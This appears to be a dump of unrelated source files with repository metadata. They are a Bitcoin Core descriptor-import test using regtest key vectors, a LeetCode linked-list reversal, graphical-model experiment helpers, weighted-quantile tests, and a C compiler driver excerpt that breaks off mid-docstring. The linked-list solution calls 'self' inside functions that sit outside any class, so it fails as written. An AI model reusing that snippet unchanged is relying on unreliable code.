self.nodes[1].get_wallet_rpc("wmulti_priv") assert_equal(wmulti_priv.getwalletinfo()['keypoolsize'], 0) xprv1 = 'tprv8ZgxMBicQKsPevADjDCWsa6DfhkVXicu8NQUzfibwX2MexVwW4tCec5mXdCW8kJwkzBRRmAay1KZya4WsehVvjTGVW6JLqiqd8DdZ4xSg52' acc_xpub1 = 'tpubDCJtdt5dgJpdhW4MtaVYDhG4T4tF6jcLR1PxL43q9pq1mxvXgMS9Mzw1HnXG15vxUGQJMMSqCQHMTy3F1eW5VkgVroWzchsPD5BUojrcWs8' # /84'/0'/0' chg_xpub1 = 'tpubDCXqdwWZcszwqYJSnZp8eARkxGJfHAk23KDxbztV4BbschfaTfYLTcSkSJ3TN64dRqwa1rnFUScsYormKkGqNbbPwkorQimVevXjxzUV9Gf' xprv2 = 'tprv8ZgxMBicQKsPdSNWUhDiwTScDr6JfkZuLshTRwzvZGnMSnGikV6jxpmdDkC3YRc4T3GD6Nvg9uv6hQg73RVv1EiTXDZwxVbsLugVHU8B1aq' acc_xprv2 = 'tprv8gVCsmRAxVSxyUpsL13Y7ZEWBFPWbgS5E2MmFVNGuANrknvmmn2vWnmHvU8AwEFYzR2ji6EeZLSCLVacsYkvor3Pcb5JY5FGcevqTwYvdYx' acc_xpub2 = 'tpubDDBF2BTR6s8drwrfDei8WxtckGuSm1cyoKxYY1QaKSBFbHBYQArWhHPA6eJrzZej6nfHGLSURYSLHr7GuYch8aY5n61tGqgn8b4cXrMuoPH' chg_xpub2 = 'tpubDCYfZY2ceyHzYzMMVPt9MNeiqtQ2T7Uyp9QSFwYXh8Vi9iJFYXcuphJaGXfF3jUQJi5Y3GMNXvM11gaL4txzZgNGK22BFAwMXynnzv4z2Jh' xprv3 = 'tprv8ZgxMBicQKsPeonDt8Ka2mrQmHa61hQ5FQCsvWBTpSNzBFgM58cV2EuXNAHF14VawVpznnme3SuTbA62sGriwWyKifJmXntfNeK7zeqMCj1' acc_xpub3 = 'tpubDCsWoW1kuQB9kG5MXewHqkbjPtqPueRnXju7uM2NK7y3JYb2ajAZ9EiuZXNNuE4661RAfriBWhL8UsnAPpk8zrKKnZw1Ug7X4oHgMdZiU4E' chg_xpub3 = 'tpubDC6UGqnsQStngYuGD4MKsMy7eD1Yg9NTJfPdvjdG2JE5oZ7EsSL3WHg4Gsw2pR5K39ZwJ46M1wZayhedVdQtMGaUhq5S23PH6fnENK3V1sb' self.test_importdesc({"desc":"wsh(multi(2," + xprv1 + "/84h/0h/0h/*," + xprv2 + "/84h/0h/0h/*," + xprv3 + "/84h/0h/0h/*))#m2sr93jn", "active": True, "range": 1000, "next_index": 0, "timestamp": "now"}, success=True, wallet=wmulti_priv) self.test_importdesc({"desc":"wsh(multi(2," + xprv1 + "/84h/1h/0h/*," + xprv2 + "/84h/1h/0h/*," + xprv3 + "/84h/1h/0h/*))#q3sztvx5", "active": True, "internal" : True, "range": 1000, "next_index": 0, "timestamp": "now"}, success=True, wallet=wmulti_priv) assert_equal(wmulti_priv.getwalletinfo()['keypoolsize'], 1001) # Range end (1000) is inclusive, so 1001 addresses generated addr = wmulti_priv.getnewaddress('', 'bech32') assert_equal(addr, 'bcrt1qdt0qy5p7dzhxzmegnn4ulzhard33s2809arjqgjndx87rv5vd0fq2czhy8') # Derived at m/84'/0'/0'/0 change_addr = wmulti_priv.getrawchangeaddress('bech32') assert_equal(change_addr, 'bcrt1qt9uhe3a9hnq7vajl7a094z4s3crm9ttf8zw3f5v9gr2nyd7e3lnsy44n8e') assert_equal(wmulti_priv.getwalletinfo()['keypoolsize'], 1000) txid = w0.sendtoaddress(addr, 10) self.nodes[0].generate(6) self.sync_all() send_txid = wmulti_priv.sendtoaddress(w0.getnewaddress(), 8) decoded = wmulti_priv.decoderawtransaction(wmulti_priv.gettransaction(send_txid)['hex']) assert_equal(len(decoded['vin'][0]['txinwitness']), 4) self.nodes[0].generate(6) self.sync_all() self.nodes[1].createwallet(wallet_name="wmulti_pub", disable_private_keys=True, blank=True, descriptors=True) wmulti_pub = self.nodes[1].get_wallet_rpc("wmulti_pub") assert_equal(wmulti_pub.getwalletinfo()['keypoolsize'], 0) self.test_importdesc({"desc":"wsh(multi(2,[7b2d0242/84h/0h/0h]" + acc_xpub1 + "/*,[59b09cd6/84h/0h/0h]" + acc_xpub2 + "/*,[e81a0532/84h/0h/0h]" + acc_xpub3 +"/*))#tsry0s5e", "active": True, "range": 1000, "next_index": 0, "timestamp": "now"}, success=True, wallet=wmulti_pub) self.test_importdesc({"desc":"wsh(multi(2,[7b2d0242/84h/1h/0h]" + chg_xpub1 + "/*,[59b09cd6/84h/1h/0h]" + chg_xpub2 + "/*,[e81a0532/84h/1h/0h]" + chg_xpub3 + "/*))#c08a2rzv", "active": True, "internal" : True, "range": 1000, "next_index": 0, "timestamp": "now"}, success=True, wallet=wmulti_pub) assert_equal(wmulti_pub.getwalletinfo()['keypoolsize'], 1000) addr = wmulti_pub.getnewaddress('', 'bech32') assert_equal(addr, 'bcrt1qp8s25ckjl7gr6x2q3dx3tn2pytwp05upkjztk6ey857tt50r5aeqn6mvr9') change_addr = wmulti_pub.getrawchangeaddress('bech32') assert_equal(change_addr, 'bcrt1qt9uhe3a9hnq7vajl7a094z4s3crm9ttf8zw3f5v9gr2nyd7e3lnsy44n8e') assert_equal(wmulti_pub.getwalletinfo()['keypoolsize'], 999) # generate some utxos for next tests txid = w0.sendtoaddress(addr, 10) vout = find_vout_for_address(self.nodes[0], txid, addr) addr2 = wmulti_pub.getnewaddress('', 'bech32') txid2 = w0.sendtoaddress(addr2, 10) vout2 = find_vout_for_address(self.nodes[0], txid2, addr2) self.nodes[0].generate(6) self.sync_all() assert_equal(wmulti_pub.getbalance(), wmulti_priv.getbalance()) # Make sure that descriptor wallets containing multiple xpubs in a single descriptor load correctly wmulti_pub.unloadwallet() self.nodes[1].loadwallet('wmulti_pub') self.log.info("Multisig with distributed keys") self.nodes[1].createwallet(wallet_name="wmulti_priv1", descriptors=True) wmulti_priv1 = self.nodes[1].get_wallet_rpc("wmulti_priv1") res = wmulti_priv1.importdescriptors([ { "desc": descsum_create("wsh(multi(2," + xprv1 + "/84h/0h/0h/*,[59b09cd6/84h/0h/0h]" + acc_xpub2 + "/*,[e81a0532/84h/0h/0h]" + acc_xpub3 + "/*))"), "active": True, "range": 1000, "next_index": 0, "timestamp": "now" }, { "desc": descsum_create("wsh(multi(2," + xprv1 + "/84h/1h/0h/*,[59b09cd6/84h/1h/0h]" + chg_xpub2 + "/*,[e81a0532/84h/1h/0h]" + chg_xpub3 + "/*))"), "active": True, "internal" : True, "range": 1000, "next_index": 0, "timestamp": "now" }]) assert_equal(res[0]['success'], True) assert_equal(res[0]['warnings'][0], 'Not all private keys provided. Some wallet functionality may return unexpected errors') assert_equal(res[1]['success'], True) assert_equal(res[1]['warnings'][0], 'Not all private keys provided. Some wallet functionality may return unexpected errors') self.nodes[1].createwallet(wallet_name='wmulti_priv2', blank=True, descriptors=True) wmulti_priv2 = self.nodes[1].get_wallet_rpc('wmulti_priv2') res = wmulti_priv2.importdescriptors([ { "desc": descsum_create("wsh(multi(2,[7b2d0242/84h/0h/0h]" + acc_xpub1 + "/*," + xprv2 + "/84h/0h/0h/*,[e81a0532/84h/0h/0h]" + acc_xpub3 + "/*))"), "active": True, "range": 1000, "next_index": 0, "timestamp": "now" }, { "desc": descsum_create("wsh(multi(2,[7b2d0242/84h/1h/0h]" + chg_xpub1 + "/*," + xprv2 + "/84h/1h/0h/*,[e81a0532/84h/1h/0h]" + chg_xpub3 + "/*))"), "active": True, "internal" : True, "range": 1000, "next_index": 0, "timestamp": "now" }]) assert_equal(res[0]['success'], True) assert_equal(res[0]['warnings'][0], 'Not all private keys provided. Some wallet functionality may return unexpected errors') assert_equal(res[1]['success'], True) assert_equal(res[1]['warnings'][0], 'Not all private keys provided. Some wallet functionality may return unexpected errors') rawtx = self.nodes[1].createrawtransaction([{'txid': txid, 'vout': vout}], {w0.getnewaddress(): 9.999}) tx_signed_1 = wmulti_priv1.signrawtransactionwithwallet(rawtx) assert_equal(tx_signed_1['complete'], False) tx_signed_2 = wmulti_priv2.signrawtransactionwithwallet(tx_signed_1['hex']) assert_equal(tx_signed_2['complete'], True) self.nodes[1].sendrawtransaction(tx_signed_2['hex']) self.log.info("We can create and use a huge multisig under P2WSH") self.nodes[1].createwallet(wallet_name='wmulti_priv_big', blank=True, descriptors=True) wmulti_priv_big = self.nodes[1].get_wallet_rpc('wmulti_priv_big') xkey = "tprv8ZgxMBicQKsPeZSeYx7VXDDTs3XrTcmZQpRLbAeSQFCQGgKwR4gKpcxHaKdoTNHniv4EPDJNdzA3KxRrrBHcAgth8fU5X4oCndkkxk39iAt/*" xkey_int = "tprv8ZgxMBicQKsPeZSeYx7VXDDTs3XrTcmZQpRLbAeSQFCQGgKwR4gKpcxHaKdoTNHniv4EPDJNdzA3KxRrrBHcAgth8fU5X4oCndkkxk39iAt/1/*" res = wmulti_priv_big.importdescriptors([ { "desc": descsum_create(f"wsh(sortedmulti(20,{(xkey + ',') * 19}{xkey}))"), "active": True, "range": 1000, "next_index": 0, "timestamp": "now" }, { "desc": descsum_create(f"wsh(sortedmulti(20,{(xkey_int + ',') * 19}{xkey_int}))"), "active": True, "internal": True, "range": 1000, "next_index": 0, "timestamp": "now" }]) assert_equal(res[0]['success'], True) assert_equal(res[1]['success'], True) addr = wmulti_priv_big.getnewaddress() w0.sendtoaddress(addr, 10) self.nodes[0].generate(1) self.sync_all() # It is standard and would relay. txid = wmulti_priv_big.sendtoaddress(w0.getnewaddress(), 9.999) decoded = wmulti_priv_big.decoderawtransaction(wmulti_priv_big.gettransaction(txid)['hex']) # 20 sigs + dummy + witness script assert_equal(len(decoded['vin'][0]['txinwitness']), 22) self.log.info("Under P2SH, multisig are standard with up to 15 " "compressed keys") self.nodes[1].createwallet(wallet_name='multi_priv_big_legacy', blank=True, descriptors=True) multi_priv_big = self.nodes[1].get_wallet_rpc('multi_priv_big_legacy') res = multi_priv_big.importdescriptors([ { "desc": descsum_create(f"sh(multi(15,{(xkey + ',') * 14}{xkey}))"), "active": True, "range": 1000, "next_index": 0, "timestamp": "now" }, { "desc": descsum_create(f"sh(multi(15,{(xkey_int + ',') * 14}{xkey_int}))"), "active": True, "internal": True, "range": 1000, "next_index": 0, "timestamp": "now" }]) assert_equal(res[0]['success'], True) assert_equal(res[1]['success'], True) addr = multi_priv_big.getnewaddress("", "legacy") w0.sendtoaddress(addr, 10) self.nodes[0].generate(6) self.sync_all() # It is standard and would relay. txid = multi_priv_big.sendtoaddress(w0.getnewaddress(), 10, "", "", True) decoded = multi_priv_big.decoderawtransaction( multi_priv_big.gettransaction(txid)['hex'] ) self.log.info("Amending multisig with new private keys") self.nodes[1].createwallet(wallet_name="wmulti_priv3", descriptors=True) wmulti_priv3 = self.nodes[1].get_wallet_rpc("wmulti_priv3") res = wmulti_priv3.importdescriptors([ { "desc": descsum_create("wsh(multi(2," + xprv1 + "/84h/0h/0h/*,[59b09cd6/84h/0h/0h]" + acc_xpub2 + "/*,[e81a0532/84h/0h/0h]" + acc_xpub3 + "/*))"), "active": True, "range": 1000, "next_index": 0, "timestamp": "now" }]) assert_equal(res[0]['success'], True) res = wmulti_priv3.importdescriptors([ { "desc": descsum_create("wsh(multi(2," + xprv1 + "/84h/0h/0h/*,[59b09cd6/84h/0h/0h]" + acc_xprv2 + "/*,[e81a0532/84h/0h/0h]" + acc_xpub3 + "/*))"), "active": True, "range": 1000, "next_index": 0, "timestamp": "now" }]) assert_equal(res[0]['success'], True) rawtx = self.nodes[1].createrawtransaction([{'txid': txid2, 'vout': vout2}], {w0.getnewaddress(): 9.999}) tx = wmulti_priv3.signrawtransactionwithwallet(rawtx) assert_equal(tx['complete'], True) self.nodes[1].sendrawtransaction(tx['hex']) self.log.info("Combo descriptors cannot be active") self.test_importdesc({"desc": descsum_create("combo(tpubDCJtdt5dgJpdhW4MtaVYDhG4T4tF6jcLR1PxL43q9pq1mxvXgMS9Mzw1HnXG15vxUGQJMMSqCQHMTy3F1eW5VkgVroWzchsPD5BUojrcWs8/*)"), "active": True, "range": 1, "timestamp": "now"}, success=False, error_code=-4, error_message="Combo descriptors cannot be set to active") self.log.info("Descriptors with no type cannot be active") self.test_importdesc({"desc": descsum_create("pk(tpubDCJtdt5dgJpdhW4MtaVYDhG4T4tF6jcLR1PxL43q9pq1mxvXgMS9Mzw1HnXG15vxUGQJMMSqCQHMTy3F1eW5VkgVroWzchsPD5BUojrcWs8/*)"), "active": True, "range": 1, "timestamp": "now"}, success=True, warnings=["Unknown output type, cannot set descriptor to active."]) if __name__ == '__main__': ImportDescriptorsTest().main()
true
true
f73d7ae59576ac8158f30f0ad064d086b98b60ff
839
py
Python
LC206.py
urjits25/leetcode-solutions
1a10b0585aead439d450bad7c3ee3340f41849c6
[ "MIT" ]
null
null
null
LC206.py
urjits25/leetcode-solutions
1a10b0585aead439d450bad7c3ee3340f41849c6
[ "MIT" ]
null
null
null
LC206.py
urjits25/leetcode-solutions
1a10b0585aead439d450bad7c3ee3340f41849c6
[ "MIT" ]
null
null
null
''' REVERSE A LINKED LIST Reverse a singly linked list. ''' # Recursive Solution, Time Complexity: O(N) ; Space Complexity: O(N) (Stack) def reverseList(head: ListNode) -> ListNode: return self.reverse(head, None) def reverse(node: ListNode, prev: ListNode) -> ListNode: if not node: return prev n = node.next node.next = prev return self.reverse(n, node) # Iterative Solution, Time complexity: O(N) ; Space Complexity: O(1) def reverseList(head: ListNode) -> ListNode: if head and head.next: # ---- For Linked Lists with two or more nodes i, j, k = head, head.next, head.next.next i.next = None while k: j.next = i i, j, k = j, k, k.next j.next = i head = j return head
27.064516
114
0.562574
def reverseList(head: ListNode) -> ListNode: return self.reverse(head, None) def reverse(node: ListNode, prev: ListNode) -> ListNode: if not node: return prev n = node.next node.next = prev return self.reverse(n, node) def reverseList(head: ListNode) -> ListNode: if head and head.next: i, j, k = head, head.next, head.next.next i.next = None while k: j.next = i i, j, k = j, k, k.next j.next = i head = j return head
true
true
f73d7b7cdff38817d185cc2462c05e5c24cc28b0
4,345
py
Python
experiments/saved_exp_res/exp_helpers.py
farzana0/pgm_graph_inference
37f1ea68f191d4f3021e7fdc8dd246d945e37ead
[ "MIT" ]
null
null
null
experiments/saved_exp_res/exp_helpers.py
farzana0/pgm_graph_inference
37f1ea68f191d4f3021e7fdc8dd246d945e37ead
[ "MIT" ]
null
null
null
experiments/saved_exp_res/exp_helpers.py
farzana0/pgm_graph_inference
37f1ea68f191d4f3021e7fdc8dd246d945e37ead
[ "MIT" ]
null
null
null
""" Experiment specifications: an experiment is defined by train,test dataset pair, each dataset is loaded from graphical_models/datasets. Authors: kkorovin@cs.cmu.edu """ import os import numpy as np from graphical_models import BinaryMRF from inference import get_algorithm from graphical_models.data_gen import struct_names from constants import * # Give specs in form structure->size # when used for train, the same is model name data_specs = { "debug": {"star": [5], "fc": []}, "larger_debug": {"star": [10], "fc": []}, } # add simple datasets data_specs.update({struct+"_small": {struct: [9]} for struct in struct_names}) assert "star_small" in data_specs # add compound datasets data_specs.update({struct+"_medium": {struct: [15,16,17]} for struct in struct_names}) data_specs.update({"trees_medium": {"star": [15, 16, 17], "path": [15, 16, 17], }, "conn_medium": {"bipart": [15, 16, 17], # "tripart": [15, 16, 17], "fc": [15, 16, 17], }, }) data_specs.update({"grid_large":{"grid":[49]}, "path_large": {"path": [9,10,100]}, "fc_large": {"fc": [15,16,17]}, "barbell_large": {"barbell": [15,16,17]}, "ladder_large": {"ladder": [15,16,17]}, "random_tree_large": {"random_tree": [15,16,17]}, "wheel_large": {"wheel": [15,16,17,100]}, }) # Add experiments for part 2: Trees+BP data_specs.update({"trees_approx": {"random_tree": [100]}, }) # Add experiments for part 2: NonTrees+MCMC data_specs.update({"nontrees_approx": {"barbell": [100], "fc": [100]}, "barbell_approx": {"barbell": [100]}, "fc_approx": {"fc": [100]} }) # Data loading ---------------------------------------------------------------- def get_dataset_by_name(specs_name, data_dir, mode=None): """ Assumes graphs live as graphical_models/datasets/{train/val/test} <-- data_dir |-- star/ | |- 9/<file1.npy>, <file2.npy> ... | |- 10/ |- 11/ ... ... Loads all graphs of given size and structure, this needs to be updated in the future (so that we can train and test on the same structures) Arguments: specs_name - key to the data_specs dictionary data_dir - train or test directory mode - map or marginal """ if specs_name not in data_specs: raise ValueError("Specification {} not supported".format(specs_name)) specs = data_specs[specs_name] graphs = [] for struct in specs: size_list = specs[struct] for size in size_list: # go to specified dir, load and append directory = os.path.join(data_dir, struct, str(size)) for filename in os.listdir(directory): if filename.endswith(".npy"): path_to_graph = os.path.join(directory, filename) data_dict = np.load(path_to_graph, allow_pickle=True)[()] # funny indexing graph = BinaryMRF(data_dict["W"], data_dict["b"]) graph.set_ground_truth(marginal_est=data_dict["marginal"], map_est=data_dict["map"]) graph.struct = struct graphs.append(graph) if mode is not None: graphs = [g for g in graphs if getattr(g, mode) is not None] print("Loaded {} graphs".format(len(graphs))) return graphs # Some simple checks ---------------------------------------------------------- if __name__ == "__main__": train_data = get_dataset_by_name("debug") print(train_data[0]) print("W, b:", train_data[0].W, train_data[0].b) print("Marginals:", train_data[0].marginal) print("MAP:", train_data[0].map)
35.909091
95
0.502417
import os import numpy as np from graphical_models import BinaryMRF from inference import get_algorithm from graphical_models.data_gen import struct_names from constants import * data_specs = { "debug": {"star": [5], "fc": []}, "larger_debug": {"star": [10], "fc": []}, } data_specs.update({struct+"_small": {struct: [9]} for struct in struct_names}) assert "star_small" in data_specs data_specs.update({struct+"_medium": {struct: [15,16,17]} for struct in struct_names}) data_specs.update({"trees_medium": {"star": [15, 16, 17], "path": [15, 16, 17], }, "conn_medium": {"bipart": [15, 16, 17], "fc": [15, 16, 17], }, }) data_specs.update({"grid_large":{"grid":[49]}, "path_large": {"path": [9,10,100]}, "fc_large": {"fc": [15,16,17]}, "barbell_large": {"barbell": [15,16,17]}, "ladder_large": {"ladder": [15,16,17]}, "random_tree_large": {"random_tree": [15,16,17]}, "wheel_large": {"wheel": [15,16,17,100]}, }) data_specs.update({"trees_approx": {"random_tree": [100]}, }) data_specs.update({"nontrees_approx": {"barbell": [100], "fc": [100]}, "barbell_approx": {"barbell": [100]}, "fc_approx": {"fc": [100]} }) def get_dataset_by_name(specs_name, data_dir, mode=None): if specs_name not in data_specs: raise ValueError("Specification {} not supported".format(specs_name)) specs = data_specs[specs_name] graphs = [] for struct in specs: size_list = specs[struct] for size in size_list: directory = os.path.join(data_dir, struct, str(size)) for filename in os.listdir(directory): if filename.endswith(".npy"): path_to_graph = os.path.join(directory, filename) data_dict = np.load(path_to_graph, allow_pickle=True)[()] graph = BinaryMRF(data_dict["W"], data_dict["b"]) graph.set_ground_truth(marginal_est=data_dict["marginal"], map_est=data_dict["map"]) graph.struct = struct graphs.append(graph) if mode is not None: graphs = [g for g in graphs if getattr(g, mode) is not None] print("Loaded {} graphs".format(len(graphs))) return graphs if __name__ == "__main__": train_data = get_dataset_by_name("debug") print(train_data[0]) print("W, b:", train_data[0].W, train_data[0].b) print("Marginals:", train_data[0].marginal) print("MAP:", train_data[0].map)
true
true
f73d7c412e13812ba9d3f5a2f42a24333926c8d0
3,987
py
Python
tests/test_weighted_quantile.py
jasperroebroek/sklearn-quantile
d357240527f32b04b0fec3dcd308bb23de517209
[ "BSD-3-Clause" ]
2
2022-02-04T19:31:42.000Z
2022-02-08T15:11:41.000Z
tests/test_weighted_quantile.py
jasperroebroek/sklearn-quantile
d357240527f32b04b0fec3dcd308bb23de517209
[ "BSD-3-Clause" ]
null
null
null
tests/test_weighted_quantile.py
jasperroebroek/sklearn-quantile
d357240527f32b04b0fec3dcd308bb23de517209
[ "BSD-3-Clause" ]
null
null
null
import numpy as np import pytest from sklearn_quantile.utils import weighted_quantile from numpy.testing import assert_equal from numpy.testing import assert_array_almost_equal from numpy.testing import assert_almost_equal from numpy.testing import assert_raises def test_quantile_equal_weights(): rng = np.random.RandomState(0) x = rng.randn(10) weights = 0.1 * np.ones(10) # since weights are equal, quantiles lie in the midpoint. sorted_x = np.sort(x) expected = 0.5 * (sorted_x[1:] + sorted_x[:-1]) actual = np.asarray([weighted_quantile(x, q, weights) for q in np.arange(0.1, 1.0, 0.1)]) assert_array_almost_equal(expected, actual) # check quantiles at (0.05, 0.95) at intervals of 0.1 actual = np.asarray([weighted_quantile(x, q, weights) for q in np.arange(0.05, 1.05, 0.1)]) assert_array_almost_equal(sorted_x, actual) # it should be the same the calculated all quantiles at the same time instead of looping over them assert_array_almost_equal(actual, weighted_quantile(x, weights=weights, q=np.arange(0.05, 1.05, 0.1))) def test_quantile_toy_data(): x = [1, 2, 3] weights = [1, 4, 5] assert_equal(weighted_quantile(x, 0.0, weights), 1) assert_equal(weighted_quantile(x, 1.0, weights), 3) assert_equal(weighted_quantile(x, 0.05, weights), 1) assert_almost_equal(weighted_quantile(x, 0.30, weights), 2) assert_equal(weighted_quantile(x, 0.75, weights), 3) assert_almost_equal(weighted_quantile(x, 0.50, weights), 2.44, 2) @pytest.mark.parametrize('q', [0, 0.1, 0.5, 0.9, 1]) def test_zero_weights(q): x = [1, 2, 3, 4, 5] w = [0, 0, 0, 0.1, 0.1] assert_equal( weighted_quantile(x, q, w), weighted_quantile([4, 5], q, [0.1, 0.1]) ) @pytest.mark.parametrize("keepdims", [True, False]) def test_return_shapes(keepdims): rng = np.random.RandomState(0) x = rng.randn(100, 10, 20) weights = 0.01 * np.ones_like(x) # shape should be the same as the output of np.quantile. Without weights it is actually the same calculation assert ( weighted_quantile(x, 0.5, weights, axis=0, keepdims=keepdims).shape == np.quantile(x, 0.5, axis=0, keepdims=keepdims).shape ) assert ( weighted_quantile(x, 0.5, weights, axis=1, keepdims=keepdims).shape == np.quantile(x, 0.5, axis=1, keepdims=keepdims).shape ) assert ( weighted_quantile(x, 0.5, weights, axis=2, keepdims=keepdims).shape == np.quantile(x, 0.5, axis=2, keepdims=keepdims).shape ) assert ( weighted_quantile(x, (0.5, 0.8), weights, axis=0, keepdims=keepdims).shape == np.quantile(x, (0.5, 0.8), axis=0, keepdims=keepdims).shape ) if keepdims: assert ( weighted_quantile(x, 0.5, weights, axis=None, keepdims=keepdims).shape == np.quantile(x, 0.5, axis=None, keepdims=keepdims).shape ) else: assert isinstance(weighted_quantile(x, 0.5, weights, axis=None, keepdims=keepdims), (np.float32, float)) @pytest.mark.parametrize("keepdims", [True, False]) def test_return_shapes_empty_dims(keepdims): rng = np.random.RandomState(0) x = rng.randn(1, 100, 1) weights = 0.01 * np.ones_like(x) assert ( weighted_quantile(x, 0.5, weights, axis=1, keepdims=keepdims).shape == np.quantile(x, 0.5, axis=1, keepdims=keepdims).shape ) assert ( weighted_quantile(x, 0.5, weights=None, axis=1, keepdims=keepdims).shape == np.quantile(x, 0.5, axis=1, keepdims=keepdims).shape ) if keepdims: assert ( weighted_quantile(x, 0.5, weights, keepdims=keepdims).shape == np.quantile(x, 0.5, keepdims=keepdims).shape ) def test_errors(): rng = np.random.RandomState(0) x = rng.randn(100, 10, 20) weights = 0.01 * np.ones_like(x) # axis should be integer assert_raises(NotImplementedError, weighted_quantile, x, 0.5, weights, axis=(1, 2))
34.076923
112
0.658139
import numpy as np import pytest from sklearn_quantile.utils import weighted_quantile from numpy.testing import assert_equal from numpy.testing import assert_array_almost_equal from numpy.testing import assert_almost_equal from numpy.testing import assert_raises def test_quantile_equal_weights(): rng = np.random.RandomState(0) x = rng.randn(10) weights = 0.1 * np.ones(10) sorted_x = np.sort(x) expected = 0.5 * (sorted_x[1:] + sorted_x[:-1]) actual = np.asarray([weighted_quantile(x, q, weights) for q in np.arange(0.1, 1.0, 0.1)]) assert_array_almost_equal(expected, actual) actual = np.asarray([weighted_quantile(x, q, weights) for q in np.arange(0.05, 1.05, 0.1)]) assert_array_almost_equal(sorted_x, actual) assert_array_almost_equal(actual, weighted_quantile(x, weights=weights, q=np.arange(0.05, 1.05, 0.1))) def test_quantile_toy_data(): x = [1, 2, 3] weights = [1, 4, 5] assert_equal(weighted_quantile(x, 0.0, weights), 1) assert_equal(weighted_quantile(x, 1.0, weights), 3) assert_equal(weighted_quantile(x, 0.05, weights), 1) assert_almost_equal(weighted_quantile(x, 0.30, weights), 2) assert_equal(weighted_quantile(x, 0.75, weights), 3) assert_almost_equal(weighted_quantile(x, 0.50, weights), 2.44, 2) @pytest.mark.parametrize('q', [0, 0.1, 0.5, 0.9, 1]) def test_zero_weights(q): x = [1, 2, 3, 4, 5] w = [0, 0, 0, 0.1, 0.1] assert_equal( weighted_quantile(x, q, w), weighted_quantile([4, 5], q, [0.1, 0.1]) ) @pytest.mark.parametrize("keepdims", [True, False]) def test_return_shapes(keepdims): rng = np.random.RandomState(0) x = rng.randn(100, 10, 20) weights = 0.01 * np.ones_like(x) assert ( weighted_quantile(x, 0.5, weights, axis=0, keepdims=keepdims).shape == np.quantile(x, 0.5, axis=0, keepdims=keepdims).shape ) assert ( weighted_quantile(x, 0.5, weights, axis=1, keepdims=keepdims).shape == np.quantile(x, 0.5, axis=1, keepdims=keepdims).shape ) assert ( weighted_quantile(x, 0.5, weights, axis=2, keepdims=keepdims).shape == np.quantile(x, 0.5, axis=2, keepdims=keepdims).shape ) assert ( weighted_quantile(x, (0.5, 0.8), weights, axis=0, keepdims=keepdims).shape == np.quantile(x, (0.5, 0.8), axis=0, keepdims=keepdims).shape ) if keepdims: assert ( weighted_quantile(x, 0.5, weights, axis=None, keepdims=keepdims).shape == np.quantile(x, 0.5, axis=None, keepdims=keepdims).shape ) else: assert isinstance(weighted_quantile(x, 0.5, weights, axis=None, keepdims=keepdims), (np.float32, float)) @pytest.mark.parametrize("keepdims", [True, False]) def test_return_shapes_empty_dims(keepdims): rng = np.random.RandomState(0) x = rng.randn(1, 100, 1) weights = 0.01 * np.ones_like(x) assert ( weighted_quantile(x, 0.5, weights, axis=1, keepdims=keepdims).shape == np.quantile(x, 0.5, axis=1, keepdims=keepdims).shape ) assert ( weighted_quantile(x, 0.5, weights=None, axis=1, keepdims=keepdims).shape == np.quantile(x, 0.5, axis=1, keepdims=keepdims).shape ) if keepdims: assert ( weighted_quantile(x, 0.5, weights, keepdims=keepdims).shape == np.quantile(x, 0.5, keepdims=keepdims).shape ) def test_errors(): rng = np.random.RandomState(0) x = rng.randn(100, 10, 20) weights = 0.01 * np.ones_like(x) assert_raises(NotImplementedError, weighted_quantile, x, 0.5, weights, axis=(1, 2))
true
true
f73d7c69dfbce5801bb2c5b1c7be7656f5865aca
75,978
py
Python
yggdrasil/drivers/CModelDriver.py
ghanashyamchalla/cis_interface
7b59439276eacb66f1f6ea4177d3a85cc061eed5
[ "BSD-3-Clause" ]
null
null
null
yggdrasil/drivers/CModelDriver.py
ghanashyamchalla/cis_interface
7b59439276eacb66f1f6ea4177d3a85cc061eed5
[ "BSD-3-Clause" ]
null
null
null
yggdrasil/drivers/CModelDriver.py
ghanashyamchalla/cis_interface
7b59439276eacb66f1f6ea4177d3a85cc061eed5
[ "BSD-3-Clause" ]
null
null
null
import os import re import warnings import copy import shutil import subprocess import numpy as np import sysconfig from collections import OrderedDict from yggdrasil import platform, tools from yggdrasil.drivers.CompiledModelDriver import ( CompiledModelDriver, CompilerBase, ArchiverBase) from yggdrasil.metaschema.properties.ScalarMetaschemaProperties import ( _valid_types) from yggdrasil.languages import get_language_dir from yggdrasil.config import ygg_cfg from numpy import distutils as numpy_distutils _default_internal_libtype = 'object' # if platform._is_win: # pragma: windows # _default_internal_libtype = 'static' def get_OSX_SYSROOT(): r"""Determin the path to the OSX SDK. Returns: str: Full path to the SDK directory if one is located. None otherwise. """ fname = None if platform._is_mac: try: xcode_dir = subprocess.check_output( 'echo "$(xcode-select -p)"', shell=True).decode("utf-8").strip() except BaseException: # pragma: debug xcode_dir = None fname_try = [] cfg_sdkroot = ygg_cfg.get('c', 'macos_sdkroot', None) if cfg_sdkroot: fname_try.append(cfg_sdkroot) if xcode_dir is not None: fname_base = os.path.join(xcode_dir, 'Platforms', 'MacOSX.platform', 'Developer', 'SDKs', 'MacOSX%s.sdk') fname_try += [ fname_base % os.environ.get('MACOSX_DEPLOYMENT_TARGET', ''), fname_base % '', os.path.join(xcode_dir, 'SDKs', 'MacOSX.sdk')] if os.environ.get('SDKROOT', False): fname_try.insert(0, os.environ['SDKROOT']) for fcheck in fname_try: if os.path.isdir(fcheck): fname = fcheck break return fname _osx_sysroot = get_OSX_SYSROOT() class CCompilerBase(CompilerBase): r"""Base class for C compilers.""" languages = ['c'] default_executable_env = 'CC' default_flags_env = 'CFLAGS' default_flags = ['-g', '-Wall'] # GCC & CLANG have similar call patterns linker_attributes = {'default_flags_env': 'LDFLAGS', 'search_path_envvar': ['LIBRARY_PATH', 'LD_LIBRARY_PATH']} search_path_envvar = ['C_INCLUDE_PATH'] search_path_flags = ['-E', '-v', '-xc', '/dev/null'] search_regex_begin = '#include "..." search starts here:' search_regex_end = 'End of search list.' search_regex = [r'(?:#include <...> search starts here:)|' r'(?: ([^\n]+?)(?: \(framework directory\))?)\n'] @staticmethod def before_registration(cls): r"""Operations that should be performed to modify class attributes prior to registration including things like platform dependent properties and checking environment variables for default settings. """ if platform._is_mac: cls.linker_attributes = dict(cls.linker_attributes, search_path_flags=['-Xlinker', '-v'], search_regex=[r'\t([^\t\n]+)\n'], search_regex_begin='Library search paths:') elif platform._is_linux: cls.linker_attributes = dict(cls.linker_attributes, search_path_flags=['-Xlinker', '--verbose'], search_regex=[r'SEARCH_DIR\("=([^"]+)"\);']) CompilerBase.before_registration(cls) @classmethod def set_env(cls, *args, **kwargs): r"""Set environment variables required for compilation. Args: *args: Arguments are passed to the parent class's method. 